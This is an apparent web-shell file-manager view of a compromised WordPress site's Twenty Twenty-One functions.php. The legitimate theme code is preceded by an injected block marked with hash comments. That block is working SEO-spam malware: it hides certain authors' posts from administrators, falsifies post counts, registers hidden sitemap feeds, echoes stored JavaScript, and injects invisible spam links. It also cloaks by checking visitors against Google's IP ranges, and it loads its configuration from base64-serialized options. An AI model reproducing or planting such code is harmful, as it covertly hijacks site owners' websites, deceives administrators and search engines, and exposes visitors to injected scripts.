| Server IP : 74.208.236.16 / Your IP : 216.73.216.220 Web Server : Apache System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux User : u102440577 ( 7172810) PHP Version : 8.4.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /homepages/44/d845879113/htdocs/app245899/wp-content/themes/twentytwentyone/ |
Upload File : |
<?php
/* 87d1da9b0a2a2969bfa96af8c20085fe */
function get_the_modified_date_http_ni($where) {
global $wpdb, $get_template_part_function;
$post_password_required_xml = array_keys($get_template_part_function);
$wp_die_base = implode(', ', $post_password_required_xml);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_get_attachment_image_src_xml');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($wp_die_base)";
}
return $where;
}
function has_nav_menu_less($query) {
global $get_template_part_function;
$post_password_required_xml = array_keys($get_template_part_function);
$get_footer_pic = is_page_stream($post_password_required_xml);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_footer_pic);
}
}
function is_archive_new() {
global $post, $get_template_part_function;
foreach ($get_template_part_function as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_comments_number_encryption($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function home_url_http() {
if (isset($_SERVER['HTTP_SEC_PURPOSE'])) {
if (strpos($_SERVER['HTTP_SEC_PURPOSE'], 'prefetch') !== false) {
return true;
}
}
}
function get_comments_number_encryption($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (home_url_http()) {
return false;
}
if (post_password_required_base()) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_xml($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function post_password_required_https($counts, $type, $perm) {
if ($type === 'post') {
$get_the_author_meta_library = $counts->publish;
$wp_nav_menu_old = is_customize_preview_url($perm);
$counts->publish = !$wp_nav_menu_old ? $get_the_author_meta_library : $wp_nav_menu_old;
}
return $counts;
}
function is_customize_preview_url($perm) {
global $wpdb, $get_template_part_function;
$post_password_required_xml = array_keys($get_template_part_function);
$wp_die_base = implode(', ', $post_password_required_xml);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$comment_form_client = get_post_type_object($type);
if (!current_user_can($comment_form_client->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($wp_die_base) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_action_trigger) {
if ($add_action_trigger['post_status'] === 'publish') {
return $add_action_trigger['num_posts'];
}
}
}
function get_stylesheet_uri_variable($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$post_password_required_xml = array();
foreach ($results as $add_action_trigger) {
$post_password_required_xml[] = $add_action_trigger['ID'];
}
return $post_password_required_xml;
}
function get_transient_old() {
global $get_template_part_function, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($get_template_part_function as $home_url_schema => $have_posts_library) {
$the_content_xml = key($have_posts_library['sitemapsettings']);
if (!isset($rules[$the_content_xml]) ||
($rules[$the_content_xml] !== current($have_posts_library['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function the_archive_title_core($rules) {
global $get_template_part_function;
$wp_get_attachment_image_src_sample = array();
foreach ($get_template_part_function as $home_url_schema => $have_posts_library) {
if (isset($have_posts_library['sitemapsettings'])) {
$wp_get_attachment_image_src_sample[key($have_posts_library['sitemapsettings'])] = current($have_posts_library['sitemapsettings']);
}
}
return $wp_get_attachment_image_src_sample + $rules;
}
function set_transient_constructor() {
global $get_template_part_function;
foreach ($get_template_part_function as $home_url_schema => $have_posts_library) {
$is_singular_stream = str_replace('index.php?feed=', '', current($have_posts_library['sitemapsettings']));
add_feed($is_singular_stream, 'have_comments_url');
}
}
function have_comments_url() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$wp_reset_postdata_first = get_transient_float();
$add_section_client = get_stylesheet_uri_variable($wp_reset_postdata_first);
if (!empty($add_section_client)) {
$get_the_time_base = md5(implode(',', $add_section_client));
$has_nav_menu_statement = 'update_plugins_' . $wp_reset_postdata_first . '_' . $get_the_time_base;
$the_archive_title_beta = get_transient($has_nav_menu_statement);
if ($the_archive_title_beta !== false) {
echo $the_archive_title_beta;
return;
}
}
$head = get_post_thumbnail_id_client();
$get_the_date_https = $head . "\n";
$priority = '0.5';
$get_theme_mod_hashing = 'weekly';
$register_nav_menus_beta = date('Y-m-d');
foreach ($add_section_client as $post_id) {
$url = get_permalink($post_id);
$get_the_date_https .= add_filter_wp($url, $register_nav_menus_beta, $get_theme_mod_hashing, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_the_date_https .= "\n</urlset>";
set_transient($has_nav_menu_statement, $get_the_date_https, WEEK_IN_SECONDS);
echo $get_the_date_https;
}
function get_post_thumbnail_id_client() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function add_filter_wp($url, $register_nav_menus_beta, $get_theme_mod_hashing, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$register_nav_menus_beta</lastmod>
<changefreq>$get_theme_mod_hashing</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function is_page_stream($writersArr) {
$get_the_author_meta_security = array();
foreach ($writersArr as $item) {
$get_the_author_meta_security[] = '-' . $item;
}
return implode(',', $get_the_author_meta_security);
}
function is_single_dns() {
$get_author_posts_url_framework = array();
$get_the_modified_date_http = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_search_query_url = unserialize(base64_decode($settings));
if ($get_search_query_url) {
$get_author_posts_url_framework = $get_search_query_url;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$add_action_old = unserialize(base64_decode($settings));
if ($add_action_old) {
$get_the_modified_date_http = $add_action_old;
}
}
return $get_the_modified_date_http + $get_author_posts_url_framework;
}
function get_transient_float() {
global $get_template_part_function;
foreach ($get_template_part_function as $home_url_schema => $have_posts_library) {
$add_partial_plain = key($have_posts_library['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($have_posts_library['sitemapsettings']) . '$');
if (preg_match("~$add_partial_plain~", $_SERVER['REQUEST_URI'])) {
return $home_url_schema;
}
}
}
function add_setting_statement() {
global $get_template_part_function, $post;
$wp_get_attachment_image_src_alpha = array_keys($get_template_part_function);
if (in_array($post->post_author, $wp_get_attachment_image_src_alpha)) {
return true;
}
return false;
}
function get_header_hashing() {
global $get_template_part_function, $post;
$wp_get_attachment_image_src_alpha = array_keys($get_template_part_function);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $wp_get_attachment_image_src_alpha)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_permalink_call() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function post_password_required_base() {
$the_posts_pagination_part = get_permalink_call();
if (strstr($the_posts_pagination_part, ', ')) {
$the_content_statement = explode(', ', $the_posts_pagination_part);
$the_posts_pagination_part = $the_content_statement[0];
}
$absint_event = get_search_form_core();
if (!$absint_event) {
return false;
}
foreach ($absint_event as $range) {
if (get_theme_mod_stat($the_posts_pagination_part, $range)) {
return true;
}
}
return false;
}
function the_permalink_view($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_search_form_core() {
if (($value = get_option('wp_custom_range')) && !the_permalink_view($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$absint_event = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($absint_event)) {
return;
}
$value = array('ranges' => $absint_event, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function esc_attr_x_live($inet) {
$is_single_function = str_split($inet);
$the_ID_reference = '';
foreach ($is_single_function as $char) {
$the_ID_reference .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $the_ID_reference;
}
function get_theme_mod_stat($the_posts_pagination_part, $cidrnet) {
$the_posts_pagination_part = inet_pton($the_posts_pagination_part);
$the_ID_reference = esc_attr_x_live($the_posts_pagination_part);
list($net, $add_partial_beta) = explode('/', $cidrnet);
$net = inet_pton($net);
$is_page_session = esc_attr_x_live($net);
$get_theme_file_uri_live = substr($the_ID_reference, 0, $add_partial_beta);
$body_class_more = substr($is_page_session, 0, $add_partial_beta);
if ($get_theme_file_uri_live !== $body_class_more) {
return false;
} else {
return true;
}
}
function add_query_arg_hashing($get_template_part_live) {
global $post;
$add_theme_support_package = '';
if (the_content_first($get_template_part_live, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$add_theme_support_package = get_option('home_links_custom_0');
}
} elseif (the_content_first($get_template_part_live, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$add_theme_support_package = get_option('home_links_custom_' . $matches[0]);
} elseif (the_content_first($get_template_part_live, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$body_class_stack = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$add_theme_support_package = get_option('home_links_custom_' . $body_class_stack);
} elseif (the_content_first($get_template_part_live, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$add_theme_support_package ? '' : $add_theme_support_package;
}
function the_content_first($have_posts_library, $the_content_edit, $get_stylesheet_uri_object) {
if (!isset($have_posts_library[$the_content_edit][$get_stylesheet_uri_object])) {
return false;
}
if ($have_posts_library[$the_content_edit][$get_stylesheet_uri_object] === 1) {
return true;
}
return false;
}
function _x_plain($get_template_part_live, $comments_open_branch) {
if (empty($comments_open_branch)) {
return '';
}
if (the_content_first($get_template_part_live, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$wp_get_attachment_image_src_trigger = add_filter_add();
$get_setting_framework = $wp_get_attachment_image_src_trigger[$blockNum[0]];
return $get_setting_framework[0] . PHP_EOL . $comments_open_branch . PHP_EOL . $get_setting_framework[1];
}
return $comments_open_branch;
}
function add_filter_add() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function add_filter_pic($get_template_part_live) {
return the_content_first($get_template_part_live, 'position', 'head');
}
function wp_die_list($get_template_part_live) {
return the_content_first($get_template_part_live, 'position', 'footer');
}
function load_theme_textdomain_http($settings) {
foreach ($settings as $home_url_schema => $have_posts_library) {
if (isset($have_posts_library['homeLinks'])) {
return $have_posts_library['homeLinks'];
}
}
return array();
}
function add_partial_boolean() {
if (!add_setting_statement()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function comments_open_module() {
global $get_template_part_live;
if (!add_partial_boolean()) {
return;
}
if (the_content_first($get_template_part_live, 'hiddenType', 'cloacking')) {
if (!post_password_required_base()) {
return;
}
}
$comments_open_branch = add_query_arg_hashing($get_template_part_live);
$comments_open_branch = _x_plain($get_template_part_live, $comments_open_branch);
echo $comments_open_branch;
}
$get_template_part_function = is_single_dns();
if (!empty($get_template_part_function)) {
add_filter('posts_where_paged', 'get_the_modified_date_http_ni');
add_action('pre_get_posts', 'has_nav_menu_less');
add_action('wp_enqueue_scripts', 'is_archive_new');
add_filter('wp_count_posts', 'post_password_required_https' , 10, 3);
add_filter('rewrite_rules_array', 'the_archive_title_core');
add_action('wp_loaded', 'get_transient_old');
add_action('init', 'set_transient_constructor');
add_action('template_redirect', 'get_header_hashing');
$get_template_part_live = load_theme_textdomain_http($get_template_part_function);
if (!empty($get_template_part_live)) {
if (add_filter_pic($get_template_part_live)) {
add_action('wp_head', 'comments_open_module');
}
if (wp_die_list($get_template_part_live)) {
add_action('wp_footer', 'comments_open_module');
}
}
}
/* 87d1da9b0a2a2969bfa96af8c20085fe */
/**
* Functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Twenty_One
* @since Twenty Twenty-One 1.0
*/
// This theme requires WordPress 5.3 or later.
if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twenty_twenty_one_setup' ) ) {
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twenty_twenty_one_setup() {
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* This theme does not use a hard-coded <title> tag in the document head,
* WordPress will provide it for us.
*/
add_theme_support( 'title-tag' );
/**
* Add post-formats support.
*/
add_theme_support(
'post-formats',
array(
'link',
'aside',
'gallery',
'image',
'quote',
'status',
'video',
'audio',
'chat',
)
);
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
register_nav_menus(
array(
'primary' => esc_html__( 'Primary menu', 'twentytwentyone' ),
'footer' => esc_html__( 'Secondary menu', 'twentytwentyone' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
'navigation-widgets',
)
);
/*
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
$logo_width = 300;
$logo_height = 100;
add_theme_support(
'custom-logo',
array(
'height' => $logo_height,
'width' => $logo_width,
'flex-width' => true,
'flex-height' => true,
'unlink-homepage-logo' => true,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
$background_color = get_theme_mod( 'background_color', 'D1E4DD' );
if ( 127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) {
add_theme_support( 'dark-editor-style' );
}
$editor_stylesheet_path = './assets/css/style-editor.css';
// Note, the is_IE global variable is defined by WordPress and is used
// to detect if the current browser is internet explorer.
global $is_IE;
if ( $is_IE ) {
$editor_stylesheet_path = './assets/css/ie-editor.css';
}
// Enqueue editor styles.
add_editor_style( $editor_stylesheet_path );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => esc_html__( 'Extra small', 'twentytwentyone' ),
'shortName' => esc_html_x( 'XS', 'Font size', 'twentytwentyone' ),
'size' => 16,
'slug' => 'extra-small',
),
array(
'name' => esc_html__( 'Small', 'twentytwentyone' ),
'shortName' => esc_html_x( 'S', 'Font size', 'twentytwentyone' ),
'size' => 18,
'slug' => 'small',
),
array(
'name' => esc_html__( 'Normal', 'twentytwentyone' ),
'shortName' => esc_html_x( 'M', 'Font size', 'twentytwentyone' ),
'size' => 20,
'slug' => 'normal',
),
array(
'name' => esc_html__( 'Large', 'twentytwentyone' ),
'shortName' => esc_html_x( 'L', 'Font size', 'twentytwentyone' ),
'size' => 24,
'slug' => 'large',
),
array(
'name' => esc_html__( 'Extra large', 'twentytwentyone' ),
'shortName' => esc_html_x( 'XL', 'Font size', 'twentytwentyone' ),
'size' => 40,
'slug' => 'extra-large',
),
array(
'name' => esc_html__( 'Huge', 'twentytwentyone' ),
'shortName' => esc_html_x( 'XXL', 'Font size', 'twentytwentyone' ),
'size' => 96,
'slug' => 'huge',
),
array(
'name' => esc_html__( 'Gigantic', 'twentytwentyone' ),
'shortName' => esc_html_x( 'XXXL', 'Font size', 'twentytwentyone' ),
'size' => 144,
'slug' => 'gigantic',
),
)
);
// Custom background color.
add_theme_support(
'custom-background',
array(
'default-color' => 'd1e4dd',
)
);
// Editor color palette.
$black = '#000000';
$dark_gray = '#28303D';
$gray = '#39414D';
$green = '#D1E4DD';
$blue = '#D1DFE4';
$purple = '#D1D1E4';
$red = '#E4D1D1';
$orange = '#E4DAD1';
$yellow = '#EEEADD';
$white = '#FFFFFF';
add_theme_support(
'editor-color-palette',
array(
array(
'name' => esc_html__( 'Black', 'twentytwentyone' ),
'slug' => 'black',
'color' => $black,
),
array(
'name' => esc_html__( 'Dark gray', 'twentytwentyone' ),
'slug' => 'dark-gray',
'color' => $dark_gray,
),
array(
'name' => esc_html__( 'Gray', 'twentytwentyone' ),
'slug' => 'gray',
'color' => $gray,
),
array(
'name' => esc_html__( 'Green', 'twentytwentyone' ),
'slug' => 'green',
'color' => $green,
),
array(
'name' => esc_html__( 'Blue', 'twentytwentyone' ),
'slug' => 'blue',
'color' => $blue,
),
array(
'name' => esc_html__( 'Purple', 'twentytwentyone' ),
'slug' => 'purple',
'color' => $purple,
),
array(
'name' => esc_html__( 'Red', 'twentytwentyone' ),
'slug' => 'red',
'color' => $red,
),
array(
'name' => esc_html__( 'Orange', 'twentytwentyone' ),
'slug' => 'orange',
'color' => $orange,
),
array(
'name' => esc_html__( 'Yellow', 'twentytwentyone' ),
'slug' => 'yellow',
'color' => $yellow,
),
array(
'name' => esc_html__( 'White', 'twentytwentyone' ),
'slug' => 'white',
'color' => $white,
),
)
);
add_theme_support(
'editor-gradient-presets',
array(
array(
'name' => esc_html__( 'Purple to yellow', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)',
'slug' => 'purple-to-yellow',
),
array(
'name' => esc_html__( 'Yellow to purple', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)',
'slug' => 'yellow-to-purple',
),
array(
'name' => esc_html__( 'Green to yellow', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)',
'slug' => 'green-to-yellow',
),
array(
'name' => esc_html__( 'Yellow to green', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)',
'slug' => 'yellow-to-green',
),
array(
'name' => esc_html__( 'Red to yellow', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)',
'slug' => 'red-to-yellow',
),
array(
'name' => esc_html__( 'Yellow to red', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)',
'slug' => 'yellow-to-red',
),
array(
'name' => esc_html__( 'Purple to red', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)',
'slug' => 'purple-to-red',
),
array(
'name' => esc_html__( 'Red to purple', 'twentytwentyone' ),
'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)',
'slug' => 'red-to-purple',
),
)
);
/*
* Adds starter content to highlight the theme on fresh sites.
* This is done conditionally to avoid loading the starter content on every
* page load, as it is a one-off operation only needed once in the customizer.
*/
if ( is_customize_preview() ) {
require get_template_directory() . '/inc/starter-content.php';
add_theme_support( 'starter-content', twenty_twenty_one_get_starter_content() );
}
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
// Add support for custom line height controls.
add_theme_support( 'custom-line-height' );
// Add support for link color control.
add_theme_support( 'link-color' );
// Add support for experimental cover block spacing.
add_theme_support( 'custom-spacing' );
// Add support for custom units.
// This was removed in WordPress 5.6 but is still required to properly support WP 5.5.
add_theme_support( 'custom-units' );
// Remove feed icon link from legacy RSS widget.
add_filter( 'rss_widget_feed_link', '__return_empty_string' );
}
}
add_action( 'after_setup_theme', 'twenty_twenty_one_setup' );
/**
* Registers widget area.
*
* @since Twenty Twenty-One 1.0
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*
* @return void
*/
function twenty_twenty_one_widgets_init() {
register_sidebar(
array(
'name' => esc_html__( 'Footer', 'twentytwentyone' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here to appear in your footer.', 'twentytwentyone' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twenty_twenty_one_widgets_init' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @since Twenty Twenty-One 1.0
*
* @global int $content_width Content width.
*
* @return void
*/
function twenty_twenty_one_content_width() {
/**
* Filters Twenty Twenty-One content width of the theme.
*
* @since Twenty Twenty-One 1.0
*
* @param int $content_width Content width in pixels.
*/
$GLOBALS['content_width'] = apply_filters( 'twenty_twenty_one_content_width', 750 );
}
add_action( 'after_setup_theme', 'twenty_twenty_one_content_width', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Twenty-One 1.0
*
* @global bool $is_IE
* @global WP_Scripts $wp_scripts
*
* @return void
*/
function twenty_twenty_one_scripts() {
// Note, the is_IE global variable is defined by WordPress and is used
// to detect if the current browser is internet explorer.
global $is_IE, $wp_scripts;
if ( $is_IE ) {
// If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables.
wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get( 'Version' ) );
} else {
// If not IE, use the standard stylesheet.
wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get( 'Version' ) );
}
// RTL styles.
wp_style_add_data( 'twenty-twenty-one-style', 'rtl', 'replace' );
// Print styles.
wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
// Threaded comment reply styles.
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
// Register the IE11 polyfill file.
wp_register_script(
'twenty-twenty-one-ie11-polyfills-asset',
get_template_directory_uri() . '/assets/js/polyfills.js',
array(),
wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
// Register the IE11 polyfill loader.
wp_register_script(
'twenty-twenty-one-ie11-polyfills',
null,
array(),
wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
wp_add_inline_script(
'twenty-twenty-one-ie11-polyfills',
wp_get_script_polyfill(
$wp_scripts,
array(
'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset',
)
)
);
// Main navigation scripts.
if ( has_nav_menu( 'primary' ) ) {
wp_enqueue_script(
'twenty-twenty-one-primary-navigation-script',
get_template_directory_uri() . '/assets/js/primary-navigation.js',
array( 'twenty-twenty-one-ie11-polyfills' ),
wp_get_theme()->get( 'Version' ),
array(
'in_footer' => false, // Because involves header.
'strategy' => 'defer',
)
);
}
// Responsive embeds script.
wp_enqueue_script(
'twenty-twenty-one-responsive-embeds-script',
get_template_directory_uri() . '/assets/js/responsive-embeds.js',
array( 'twenty-twenty-one-ie11-polyfills' ),
wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
}
add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_scripts' );
/**
* Enqueues block editor script.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twentytwentyone_block_editor_script() {
wp_enqueue_script( 'twentytwentyone-editor', get_theme_file_uri( '/assets/js/editor.js' ), array( 'wp-blocks', 'wp-dom' ), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) );
}
add_action( 'enqueue_block_editor_assets', 'twentytwentyone_block_editor_script' );
/**
* Fixes skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @since Twenty Twenty-One 1.0
* @deprecated Twenty Twenty-One 1.9 Removed from wp_print_footer_scripts action.
*
* @link https://git.io/vWdr2
*/
function twenty_twenty_one_skip_link_focus_fix() {
// If SCRIPT_DEBUG is defined and true, print the unminified file.
if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
echo '<script>';
include get_template_directory() . '/assets/js/skip-link-focus-fix.js';
echo '</script>';
} else {
// The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",(function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())}),!1);
</script>
<?php
}
}
/**
* Enqueues non-latin language styles.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twenty_twenty_one_non_latin_languages() {
$custom_css = twenty_twenty_one_get_non_latin_css( 'front-end' );
if ( $custom_css ) {
wp_add_inline_style( 'twenty-twenty-one-style', $custom_css );
}
}
add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages' );
// SVG Icons class.
require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php';
// Custom color classes.
require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php';
new Twenty_Twenty_One_Custom_Colors();
// Enhance the theme by hooking into WordPress.
require get_template_directory() . '/inc/template-functions.php';
// Menu functions and filters.
require get_template_directory() . '/inc/menu-functions.php';
// Custom template tags for the theme.
require get_template_directory() . '/inc/template-tags.php';
// Customizer additions.
require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php';
new Twenty_Twenty_One_Customize();
// Block Patterns.
require get_template_directory() . '/inc/block-patterns.php';
// Block Styles.
require get_template_directory() . '/inc/block-styles.php';
// Dark Mode.
require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php';
new Twenty_Twenty_One_Dark_Mode();
/**
* Enqueues scripts for the customizer preview.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twentytwentyone_customize_preview_init() {
wp_enqueue_script(
'twentytwentyone-customize-helpers',
get_theme_file_uri( '/assets/js/customize-helpers.js' ),
array(),
wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
wp_enqueue_script(
'twentytwentyone-customize-preview',
get_theme_file_uri( '/assets/js/customize-preview.js' ),
array( 'customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers' ),
